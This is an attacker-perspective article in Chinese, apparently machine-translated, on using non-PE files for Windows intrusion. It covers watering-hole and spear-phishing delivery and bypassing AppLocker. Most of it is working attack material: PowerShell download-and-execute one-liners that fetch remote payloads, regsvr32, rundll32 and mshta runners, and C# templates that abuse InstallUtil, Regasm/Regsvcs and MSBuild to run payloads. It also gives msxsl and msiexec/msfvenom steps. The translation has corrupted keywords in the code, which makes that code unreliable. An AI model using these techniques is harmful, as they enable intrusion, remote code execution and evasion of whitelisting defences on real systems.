前言
本文站在攻击者的角度,通过对非PE文件类型、攻击方式、安全策略和权限、后门的简单介绍,以非PE作为攻击链的载体。我们希望本文能让读者对此类攻击例程有一个新的认识。
为什么是非PE
PE 在Windows 平台上以多种可执行文件格式提供。常见的包括32位PE、64位PE、NE和LE格式。类型包括exe、dll 和sys 格式。长期以来,人们已经习惯了通过双击来运行exe程序,杀毒软件也不太习惯非PE而不是PE。当然,防病毒软件也是如此。当人们感到某些事情很奇怪时,通常有两种心理因素在起作用:警惕和好奇。如果你觉得你的防病毒软件对你来说“不熟悉”,常见的做法是先“别管它”,以减少“误报”,尤其是当前流行的PowerShell。
非PE类型
本文讨论的非PE类型仅限于Windows平台,因此这里不对apk、ELF等进行分类,但用C#语言编写的.Net程序被分类为非PE脚本。它分为类型和文档类型,当然还可以进一步划分。
脚本类型
主要的非PE类型包括Bat、Vbs、JScript类型及其内置脚本,当然还有Python、Lua、Java和PHP。不过,这些都是基于各自的运行环境。
文件类型
文档类型包括Word、Excel、PPT、RTF等常见办公文档,以及PDF、HTA(很少考虑)类型。这些文件可以嵌入“可执行”脚本,因此这里不存在TXT 问题。
其他类型
inf、lnk 文件以及Autoit、CAD 或swf 文件等软件定义的一些脚本被归类为其他类型,因为与以前的文件相比,它们本质上是不明确的。对于更极端的情况,它还包括mp3、mp4 和png。攻击向量的选择通常从以下几点考虑:
1.环境依赖性
2. 灵敏度
3. 音量
4、制造成本
从环境依赖性的角度来看,系统自带的脚本通常在机密性方面依赖性较小,敏感文档类别较少,并且生产成本较低,并且脚本类型在体积方面较小。通常很小,但是这些系统外脚本是针对开发人员的吗?
如何攻击
现在已经选择了攻击有效负载,是时候传送有效负载了。当然,还有其他方法。
"水坑"攻击
水坑攻击是非常成功的攻击技术,通常针对特定群体、组织、行业或地区。攻击者观察、推断和收集目标网络行为随时间变化的趋势,查找目标经常访问的网站,并危害一个或多个网站并安装恶意软件。一旦被目标访问,就会触发攻击程序。造成个人或群体感染。此类攻击更常见的特征是:
1、跨度大
2.通常使用零日漏洞
3. 目标通常是大企业、政府、学校、科研机构和其他团体。
"鱼叉"攻击
Harpoon 攻击通常使用电子邮件等电子通信方法进行,并针对特定个人、组织或企业。攻击者首先收集目标的个人信息、电子邮件地址、近期私人(或公开)活动等,然后冒充公司、组织、活动组织者或政府机构发布虚假内容、恶意文件等,或发送恶意链接。一旦目标执行上述操作,就会诱骗目标点击或登录自己的账户和密码,目标的个人信息将再次暴露,攻击者将利用该安全恶意程序控制目标的计算机。他们甚至可能会继续这样做。此类攻击通常具有以下特征:
1.高度可定制且准确
2. 攻击通常针对个人。
3. 文档类更有针对性地成为攻击媒介
以上是常见的攻击方式。当然,您还可以使用端口攻击作为更残酷的技术。您还可以在几个月或一两年的时间内使用类似的社会工程技术。
攻击技巧
假设这里的攻击负载成功投递到目标,是否生效还受到系统策略、权限等因素的影响。本文列出了更常见的安全策略和权限相关问题。介绍。
策略绕过
应用储物柜
applocker是一个新的系统管理工具,用于取代软件限制策略。部署在所有Windows 2008 Server R2 及更高版本的系统上,允许用户创建可执行文件(.exe、com)、脚本(.vbs、js、ps1、cmd 和.bat)等可执行文件,帮助您控制您的应用程序和文件。 Windows Installer(.msi、msp)、动态链接库(.dll、ocx)等基本特征为:
· 文件属性作为基于数字签名导出的规则定义(: 文件名、路径、版本等)
· 将规则分配给单个用户和组
· 规则可以定义例外
· 进出口支持
通过上面的介绍,我们将分别讨论以下两种情况:
脚本执行已禁用,但cmd 和PowerShell 执行未禁用
利用这种情况的方法有很多,但常见的基本上有:
1.直接使用cmd和powershell命令
#cmd
powershell -exec 绕过IEX(New-Object Net.WebClient).DownloadString('http://')
#有效负载
IEX(新对象Net.WebClient).DownloadString('http://')
2. 直通管
#cmd
cmd.exe /K 负载.bat
电源外壳
获取内容x.ps1 |
3.通过regsvr32、rundll32、mshta
regsvr32 /u /n /s /i:payload.sct scrobj.dll
regsvr32 /u /n /s /i:http://ip:port/payload.sct scobj.dll
rundll32.exe javascript:'\.\mshtml,RunHTMLApplication ';document.write();new%20ActiveXObject('WScript.Shell').Run('powershell -nop -exec 绕过-c IEX (新对象Net.WebClient ) ).DownloadString('http://ip: 端口/');')
mshta.exe 'javascript:new%20ActiveXObject('WScript.Shell').Run('powershell%20-nop%20-exec%20bypass%20-c%20IEX%20(New-Object%20Net.WebClient).DownloadString(' http://ip:port/');');window.close()' 禁用脚本执行并禁用PowerShell 执行
在这种情况下直接运行powershell 显然是行不通的。
由于Powershell基于.Net框架,并且Powershell.exe本质上是System.Management.Automation.dll的封装,因此您可以通过以下方式解决该限制: “漏洞” 默认情况下,程序文件和Windows 路径被设置为例外。找到可写且可执行的路径来编写有效负载脚本。如果您只想对powershell.exe 使用路径限制而不是哈希限制,可以将其复制到另一个路径并使用。 2.使用C#。下面是调用PowerShell的C#模板代码。将payload替换为实际的可执行代码,最后编译成exe运行。
使用系统;
使用系统.管理.自动化。
命名空间Powershell
{
课程计划
{
静态无效主(字符串[]参数)
{
PowerShell ps=PowerShell.Create();
ps.AddCommand('调用表达式');
ps.AddArgument('有效负载');
ps.Invoke();
}
}
}
3. 使用InstallUtil.exe InstallUtil 是一个签名的Windows 组件安装程序。使用的模板是:
//InstallUtil.cs
使用系统;
使用系统.管理.自动化。
命名空间白名单
{
课程计划
{
静态无效主(字符串[]参数)
{
}
}
}
[System.ComponentModel.RunInstaller(true)]
公共类示例: System.Configuration.Install.Installer
{
//方法可以被卸载/安装。安装是事务性的,并不是真正需要的。
公共覆盖无效卸载(System.Collections.IDictionary SavedState)
{
PowerShell ps=PowerShell.Create();
ps.AddCommand('调用表达式');
ps.AddArgument('有效负载');
ps.Invoke();
}
}
#编译
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:InstallUtil.exe InstallUtil.cs
#/U 运行卸载例程
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /U InstallUtil.exe
4. 使用Regasm 或Regsvcs。 Regasm 和Regsvcs 都是.Net Framework 程序集注册工具。使用的模板是:
#Regasm.cs
使用系统;
使用System.EnterpriseServices。
使用System.Runtime.InteropServices。
使用系统.管理.自动化。
命名空间regsvcser
{
公共类绕过: ServicedComponent
{
public Bypass() { Console.WriteLine('我是一个基本的COM 对象') }
[ComUnregisterFunction] //注册失败时执行
公共静态无效UnRegisterClass(字符串键)
{
PowerShell ps=PowerShell.Create();
ps.AddCommand('调用表达式');
ps.AddArgument('有效负载');
ps.Invoke();
}
}
}
通过csc.exe将其编译成dll组件,并通过将/U参数传递给regasm(或regasm)来运行卸载例程。步骤如下:
创建强名称密钥- key.snk
$key='BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3S T lzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8 s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmay3 px 0 BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLlicweJ9uT7OG3g/P+JpXGN0/+hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzweEUfL5+o8OhujBHD m/36 1mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+ qZU +TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHP NiHfVjNi53Yg4='
$Content=[System.Convert]:FromBase64String($key)
设置内容key.snk -Value $Content -编码字节
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:Regasm.dll /keyfile:key.snk Regasm.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Regasm.dll
[或者]
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe Regasm.dll
//如果没有权限则执行UnRegisterClass
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U Regasm.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Regasm.dll
//这会调用UnregisterClass方法
5. msxsl.exemsxsl 是一个经过签名的命令行程序,用于在Windows 上处理JScript 代码。点击这里下载。其命令行用法如下
msxsl.exe demo.xml exec.xsl
这是demo.xml 和exec.xsl 演示:
#demo.xml
微软
#exec.xsl
xmlns:xsl='http://www.w3.org/1999/XSL/Transform'
xmlns:msxsl='urn:schemas-microsoft-com:xslt'
xmlns:user='http://mycompany.com/mynamespace'
函数xml(节点列表) {
var r=new ActiveXObject('WScript.Shell').Run('cmd /c calc.exe');
返回nodelist.nextNode().xml。
}
6.使用msbuild.exemsbuild作为Windows生成引擎。这是默认系统自带的。以下代码的作用是创建一个PowerShell命令行。
任务名称='片段示例'
TaskFactory='代码任务工厂'
AssemblyFile='C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll'
Console.WriteLine('来自片段的你好');
]]
任务名称='类示例'
TaskFactory='代码任务工厂'
AssemblyFile='C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll'
使用系统;
使用系统.IO。
使用系统诊断。
使用系统反射。
使用System.Runtime.InteropServices。
//为PowerShell调用添加
使用System.Collections.ObjectModel。
使用系统.管理.自动化。
使用系统.管理.自动化.运行空间。
使用系统.文本。
使用Microsoft.Build.Framework。
使用Microsoft.Build.Utilities。
公共类ClassExample : 任务、ITask
{
公共覆盖布尔执行(){
而(真){
Console.Write('PS');
字符串x=Console.ReadLine();
尝试
{
Console.WriteLine(RunPSCommand(x));
}
捕获(例外e)
{
Console.WriteLine(e.Message);
}
}
返回真。
}
//基于贾里德·阿特金森和贾斯汀·华纳的作品
公共静态字符串RunPSCommand(字符串cmd)
{
//初始化的东西
运行空间runspace=RunspaceFactory.CreateRunspace();
运行空间.Open();
RunspaceInvoke scriptInvoker=new RunspaceInvoke(runspace);
管道Pipeline=runspace.CreatePipeline();
//添加命令
Pipeline.Commands.AddScript(cmd);
//准备并调用PS进行字符串输出
Pipeline.Commands.Add('Out-String');
集合结果=Pipeline.Invoke();
运行空间.关闭();
//将记录转换为字符串
StringBuilder stringBuilder=new StringBuilder();
foreach(结果中的PSObject obj)
{
stringBuilder.Append(obj);
}
返回stringBuilder.ToString().Trim();
}
公共静态无效RunPSFile(字符串脚本)
{
PowerShell ps=PowerShell.Create();
ps.AddScript(脚本).Invok
e(); } } ]]> 7.使用msiexec.exe通过msf生产一个payload.msi,利用msiexec执行。 msfvenom -f msi -p windows/exec CMD=calc.exe > payload.msi #执行 msiexec /quiet /i payload.msi